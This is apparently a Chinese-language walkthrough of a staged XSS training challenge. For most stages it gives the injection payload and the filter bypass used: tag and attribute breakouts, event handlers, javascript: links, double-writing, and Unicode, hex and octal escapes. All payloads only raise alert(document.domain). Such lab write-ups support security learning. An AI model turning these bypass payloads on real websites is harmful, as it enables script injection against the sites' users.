Stage #1
无过滤,</b><script>alert(document.domain)</script><b>
Stage #2
注入点在input标签内,前后闭合标签中间加script语句
"><script>alert(document.domain)</script><
Stage #3
传递了两个参数,第一个参数过滤了<>
抓包,在第二个参数处闭合标签插入script语句
Stage #4
跟第三关差不多,抓包发现有第三个参数
在源代码中找到hackme的位置
在第三个参数处构造xss
Stage #5
与第二关一样,但是在前段限制了语句长度,抓包构造xss提交即可
Stage #6
与第二关一样,注入点在value标签中,但是过滤了<>,没有过滤",可以用"闭合,构造事件进行xss
" onmouseover=alert(document.domain) name="1
onmouseover是鼠标移到上面就会触发的事件
" onclick=alert(document.domain) name="1
onclick是鼠标点击会触发事件
Stage #7
和第六关差不多,不同的是这关不只把<>过滤了,还把"也过滤了,无法用"分隔属性,但是可以用 (空格)分隔
" onclick=alert(document.domain) 要在空格前面加点东西,否则无法成功
Stage #8
题目要我们输入一条url,然后会把url包含在<a>标签中,点击触发弹窗
在url中运行javascript的方法是以javascript:开头后跟要执行的语句,因此构造一下语句即可弹窗
javascript:alert(document.domain)
Stage #9
utf-7编码,用F12修改元素 onclick=alert(document.domain)直接过(每关都可以这样)
Stage #10
注入点在value里,但是过滤了domain,可双写绕过
"><script>alert(document.dodomainmain)</script><
Stage #11
value注入点,会在我们构造的语句中的script前面加个x,且on事件全部不能用
构造<a>标签在超链接中执行js,构造时将script中任意一个字母用Unicode编码
"><a href="javascript:alert(document.domain)">1</a>
Stage #12
vlaue注入点,过滤了<、>、"和',将空格与"Unicode编码无法成功,因为无法用Unicode编码"、'、<、>来闭合标签或属性
" onmouseover=alert(document.domain) name="1
利用IE浏览器(不是Microsoft Edge)识别特性,IE浏览器会把``(键盘上方数字键1左边的那个键)识别成双引号
构造``onmouseover=alert(document.domain)成功弹窗
Stage #13
style注入点,转义了<>和"
查资料得到要利用IE浏览器支持的动态特性,但是IE版本太高,无法复现
Stage #14
同13关
Stage #15
DOM型XSS,转义了<>"&,但是可以双写绕过,可以用\003c和\003e代替<>
\u003e\u003cscript\u003ealert(document.domain)\u003c/script\u003e
Stage #16
跟上题一样,只是替换了x,即无法用十六进制绕过,用上题的代码直接过
\u003e\u003cscript\u003ealert(document.domain)\u003c/script\u003e
用八进制编码也可以绕过,即将<>用十六进制编码后再转为八进制,格式是\74、\76
\74script\76alert(document.domain)\74/script\76
Stage #17、Stage #18
题目说只能在老版本IE上复现,可跳过
Stage #19
不会,也没找到别的大佬的WP